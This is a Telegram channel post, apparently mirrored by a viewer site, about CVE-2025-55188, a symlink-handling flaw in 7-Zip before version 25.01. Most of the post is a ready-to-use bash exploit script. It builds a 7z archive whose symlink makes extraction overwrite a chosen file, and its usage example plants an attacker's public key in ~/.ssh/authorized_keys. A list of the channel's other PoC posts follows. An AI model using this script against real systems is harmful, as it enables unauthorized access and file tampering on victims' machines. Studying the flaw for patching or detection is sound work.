TGViewer
Proxy Bar Proxy Bar @proxy_bar · 21.6K subscribers
Post #2723 15.9K
CVE-2025-55188
7z-exploit
Symlink Arbitrary File
7-Zip до 25.01.
Уязвимость возникает из-за того, что 7-Zip неправильно обрабатывает сим линки во время извлечения, что позволяет созданному архиву перезаписывать файлы в системе.
#!/bin/bash
if [ "$#" -ne 3 ]; then
echo "Usage: $0 <payload_file> <target_symlink_path> <output_archive>"
echo "Example: $0 mykey.pub ../../.ssh/authorized_keys exploit.7z"
exit 1
fi

PAYLOAD="$1"
TARGET="$2"
OUT="$3"

WORKDIR=$(mktemp -d)
ln -s "$TARGET" "$WORKDIR/symlink"
cp "$PAYLOAD" "$WORKDIR/symlink"

tar --sort=name -cf "$WORKDIR/exploit.tar" -C "$WORKDIR" symlink
7z a "$OUT" "$WORKDIR/exploit.tar" >/dev/null

echo "[*] Exploit archive created: $OUT"
rm -rf "$WORKDIR"
  • 🔥 56
  • 👍 8
More from @proxy_bar
  1. Oct 11, 2026CVE-2026-107806 * nginx-ui authenticated RCE (backup restore) * POC
  2. Oct 9, 2026CVE-2026-107181 Telegram Desktop one-click account takeover via IPC injection * POC + writ…
  3. Oct 7, 2026Интересное дело ! * ransom note sent
  4. Oct 7, 2026OSCP+ REPOS
  5. Oct 6, 2026LibreOffice and OpenOffice Flaws Let Malicious Spreadsheets Run Code Without Macro Warning…
  6. Oct 5, 2026WordPress libheif RCE * research * Proof-of-concept code И ведь не плохо же
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →